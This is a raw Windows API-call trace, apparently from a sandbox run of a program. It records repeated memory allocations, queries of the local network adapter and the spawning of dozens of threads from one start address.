	[0206.603] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x5460000
	[0206.603] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x5470000
	[0206.604] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x5570000
	[0206.604] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x5580000
	[0206.604] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x5680000
	[0206.605] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x5690000
	[0206.605] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x5790000
	[0206.605] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x57a0000
	[0206.606] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x58a0000
	[0206.606] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x58b0000
	[0206.606] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x59b0000
	[0206.607] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x59c0000
	[0206.607] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x5ac0000
	[0206.607] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x5ad0000
	[0206.608] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x5bd0000
	[0206.609] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x5be0000
	[0206.609] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x5ce0000
	[0206.609] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x5cf0000
	[0206.610] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x5df0000
	[0206.610] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x5e00000
	[0206.611] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x5f00000
	[0206.611] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x5f10000
	[0206.611] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x6010000
	[0206.612] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x6020000
	[0206.612] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x6120000
	[0206.612] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x6130000
	[0206.613] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x6230000
	[0206.613] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x6240000
	[0206.613] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x6340000
	[0206.614] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x6350000
	[0206.614] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x6450000
	[0206.615] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x6460000
	[0206.615] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x6560000
	[0206.615] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x6570000
	[0206.616] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x6670000
	[0206.616] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x6680000
	[0206.616] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x6780000
	[0206.617] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x6790000
	[0206.617] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x6890000
	[0206.618] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x68a0000
	[0206.618] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x69a0000
	[0206.620] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x69b0000
	[0206.621] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x6ab0000
	[0206.621] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x6ac0000
	[0206.621] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x6bc0000
	[0206.806] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x6bd0000
	[0206.807] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x6cd0000
	[0206.807] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x6ce0000
	[0206.807] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x6de0000
	[0206.808] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x6df0000
	[0206.808] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x6ef0000
	[0206.808] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x6f00000
	[0206.810] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x7000000
	[0206.810] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x7010000
	[0206.810] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x7110000
	[0206.811] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x7120000
	[0206.811] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x7220000
	[0206.811] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x7230000
	[0206.812] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x7330000
	[0206.812] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x7340000
	[0206.813] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x7440000
	[0206.813] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x7450000
	[0206.813] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x7550000
	[0206.814] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x7560000
	[0206.814] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x7660000
	[0206.814] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x7670000
	[0206.815] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x7770000
	[0206.815] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x7780000
	[0206.816] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x7880000
	[0206.816] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x7890000
	[0206.816] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x7990000
	[0206.817] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x79a0000
	[0206.817] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x7aa0000
	[0206.818] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x7ab0000
	[0206.818] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x7bb0000
	[0206.818] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x7bc0000
	[0206.819] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x7cc0000
	[0206.819] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x7cd0000
	[0206.820] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x7dd0000
	[0206.820] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x7de0000
	[0206.821] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x7ee0000
	[0206.821] Sleep (dwMilliseconds=0x9c4) 
	[0209.578] GetAdaptersAddresses (in: Family=0x2, Flags=0x0, Reserved=0x0, AdapterAddresses=0x0, SizePointer=0x73470*=0x0 | out: AdapterAddresses=0x0, SizePointer=0x73470*=0x610) returned 0x6f
	[0209.902] VirtualAlloc (lpAddress=0x0, dwSize=0x610, flAllocationType=0x1000, flProtect=0x4) returned 0x7ef0000
	[0209.903] GetAdaptersAddresses (in: Family=0x2, Flags=0x0, Reserved=0x0, AdapterAddresses=0x7ef0000, SizePointer=0x73470*=0x610 | out: AdapterAddresses=0x7ef0000*(Alignment=0x11000001c0, Length=0x1c0, IfIndex=0x11, Next=0x7ef0360, AdapterName="{ECF237EA-3AD2-4D35-B4FE-425EFF427D86}", FirstUnicastAddress=0x7ef0280, FirstAnycastAddress=0x0, FirstMulticastAddress=0x7ef02d0, FirstDnsServerAddress=0x7ef0330, DnsSuffix="", Description="Intel(R) PRO/1000 MT Network Connection #2", FriendlyName="Local Area Connection 2", PhysicalAddress=([0]=0x44, [1]=0xb3, [2]=0x82, [3]=0x7, [4]=0x53, [5]=0xc7, [6]=0x0, [7]=0x0), PhysicalAddressLength=0x6, Flags=0x3e5, DdnsEnabled=0x3e5, RegisterAdapterSuffix=0x3e5, Dhcpv4Enabled=0x3e5, ReceiveOnly=0x3e5, NoMulticast=0x3e5, Ipv6OtherStatefulConfig=0x3e5, NetbiosOverTcpipEnabled=0x3e5, Ipv4Enabled=0x3e5, Ipv6Enabled=0x3e5, Ipv6ManagedAddressConfigurationSupported=0x3e5, Mtu=0x5dc, IfType=0x6, OperStatus=0x1, Ipv6IfIndex=0x11, ZoneIndices=([0]=0x11, [1]=0x11, [2]=0x11, [3]=0x11, [4]=0x1, [5]=0x1, [6]=0x1, [7]=0x1, [8]=0x1, [9]=0x1, [10]=0x1, [11]=0x1, [12]=0x1, [13]=0x1, [14]=0x0, [15]=0x1), FirstPrefix=0x0, TransmitLinkSpeed=0x3b9aca00, ReceiveLinkSpeed=0x3b9aca00, FirstWinsServerAddress=0x0, FirstGatewayAddress=0x0, Ipv4Metric=0xa, Ipv6Metric=0xa, Luid=0x6000007000000, Dhcpv4Server.lpSockaddr=0x7ef01c0*(sa_family=2, sin_port=0x0, sin_addr="192.168.0.1"), Dhcpv4Server.iSockaddrLength=16, CompartmentId=0x1, NetworkGuid=0x11de7039846ee341, ConnectionType=0x1, TunnelType=0x0, Dhcpv6Server.lpSockaddr=0x0, Dhcpv6Server.iSockaddrLength=0, Dhcpv6ClientDuid=([0]=0x0, [1]=0x1, [2]=0x0, [3]=0x1, [4]=0x20, [5]=0xc7, [6]=0x5c, [7]=0xa7, [8]=0xc4, [9]=0x3d, [10]=0xc7, [11]=0x58, [12]=0x4a, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0), Dhcpv6ClientDuidLength=0xe, Dhcpv6Iaid=0x11c43dc7, FirstDnsSuffix=0x0), SizePointer=0x73470*=0x610) returned 0x0
	[0209.921] inet_addr (cp="192.168.0.21") returned 0x1500a8c0
	[0209.921] VirtualFree (lpAddress=0x7ef0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0209.922] VirtualAlloc (lpAddress=0x0, dwSize=0x7f8, flAllocationType=0x1000, flProtect=0x4) returned 0x7ef0000
	[0209.922] Sleep (dwMilliseconds=0x3e8) 
	[0211.199] GetAdaptersAddresses (in: Family=0x2, Flags=0x0, Reserved=0x0, AdapterAddresses=0x0, SizePointer=0x73470*=0x0 | out: AdapterAddresses=0x0, SizePointer=0x73470*=0x610) returned 0x6f
	[0211.529] VirtualAlloc (lpAddress=0x0, dwSize=0x610, flAllocationType=0x1000, flProtect=0x4) returned 0x7f00000
	[0211.530] GetAdaptersAddresses (in: Family=0x2, Flags=0x0, Reserved=0x0, AdapterAddresses=0x7f00000, SizePointer=0x73470*=0x610 | out: AdapterAddresses=0x7f00000*(Alignment=0x11000001c0, Length=0x1c0, IfIndex=0x11, Next=0x7f00360, AdapterName="{ECF237EA-3AD2-4D35-B4FE-425EFF427D86}", FirstUnicastAddress=0x7f00280, FirstAnycastAddress=0x0, FirstMulticastAddress=0x7f002d0, FirstDnsServerAddress=0x7f00330, DnsSuffix="", Description="Intel(R) PRO/1000 MT Network Connection #2", FriendlyName="Local Area Connection 2", PhysicalAddress=([0]=0x44, [1]=0xb3, [2]=0x82, [3]=0x7, [4]=0x53, [5]=0xc7, [6]=0x0, [7]=0x0), PhysicalAddressLength=0x6, Flags=0x3e5, DdnsEnabled=0x3e5, RegisterAdapterSuffix=0x3e5, Dhcpv4Enabled=0x3e5, ReceiveOnly=0x3e5, NoMulticast=0x3e5, Ipv6OtherStatefulConfig=0x3e5, NetbiosOverTcpipEnabled=0x3e5, Ipv4Enabled=0x3e5, Ipv6Enabled=0x3e5, Ipv6ManagedAddressConfigurationSupported=0x3e5, Mtu=0x5dc, IfType=0x6, OperStatus=0x1, Ipv6IfIndex=0x11, ZoneIndices=([0]=0x11, [1]=0x11, [2]=0x11, [3]=0x11, [4]=0x1, [5]=0x1, [6]=0x1, [7]=0x1, [8]=0x1, [9]=0x1, [10]=0x1, [11]=0x1, [12]=0x1, [13]=0x1, [14]=0x0, [15]=0x1), FirstPrefix=0x0, TransmitLinkSpeed=0x3b9aca00, ReceiveLinkSpeed=0x3b9aca00, FirstWinsServerAddress=0x0, FirstGatewayAddress=0x0, Ipv4Metric=0xa, Ipv6Metric=0xa, Luid=0x6000007000000, Dhcpv4Server.lpSockaddr=0x7f001c0*(sa_family=2, sin_port=0x0, sin_addr="192.168.0.1"), Dhcpv4Server.iSockaddrLength=16, CompartmentId=0x1, NetworkGuid=0x11de7039846ee341, ConnectionType=0x1, TunnelType=0x0, Dhcpv6Server.lpSockaddr=0x0, Dhcpv6Server.iSockaddrLength=0, Dhcpv6ClientDuid=([0]=0x0, [1]=0x1, [2]=0x0, [3]=0x1, [4]=0x20, [5]=0xc7, [6]=0x5c, [7]=0xa7, [8]=0xc4, [9]=0x3d, [10]=0xc7, [11]=0x58, [12]=0x4a, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0), Dhcpv6ClientDuidLength=0xe, Dhcpv6Iaid=0x11c43dc7, FirstDnsSuffix=0x0), SizePointer=0x73470*=0x610) returned 0x0
	[0211.547] inet_addr (cp="192.168.0.21") returned 0x1500a8c0
	[0211.547] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0000, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x100
	[0211.549] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0008, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x108
	[0211.583] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0010, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf8
	[0211.585] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0018, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10c
	[0211.964] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0020, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x124
	[0211.965] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0028, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x128
	[0211.967] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0030, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12c
	[0211.969] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0038, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x130
	[0211.971] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0040, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x134
	[0211.974] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0048, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x138
	[0211.976] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0050, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13c
	[0211.978] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0058, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x140
	[0211.980] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0060, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x144
	[0211.982] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0068, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x148
	[0211.984] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0070, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14c
	[0211.986] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0078, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x150
	[0211.987] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0080, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x154
	[0211.989] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0088, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x158
	[0211.991] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0090, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15c
	[0211.992] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0098, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x160
	[0211.995] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef00a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x164
	[0211.997] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef00a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x168
	[0212.183] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef00b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16c
	[0212.184] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef00b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x170
	[0212.186] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef00c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x174
	[0212.187] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef00c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x178
	[0212.189] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef00d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17c
	[0212.190] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef00d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x180
	[0212.192] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef00e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x184
	[0212.193] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef00e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x188
	[0212.195] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef00f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18c
	[0212.198] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef00f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x190
	[0212.200] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0100, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x194
	[0212.202] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0108, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x198
	[0212.205] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0110, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19c
	[0212.208] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0118, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a0
	[0212.209] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0120, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a4
	[0212.211] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f7c57b4, lpParameter=0x7ef0128, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a8
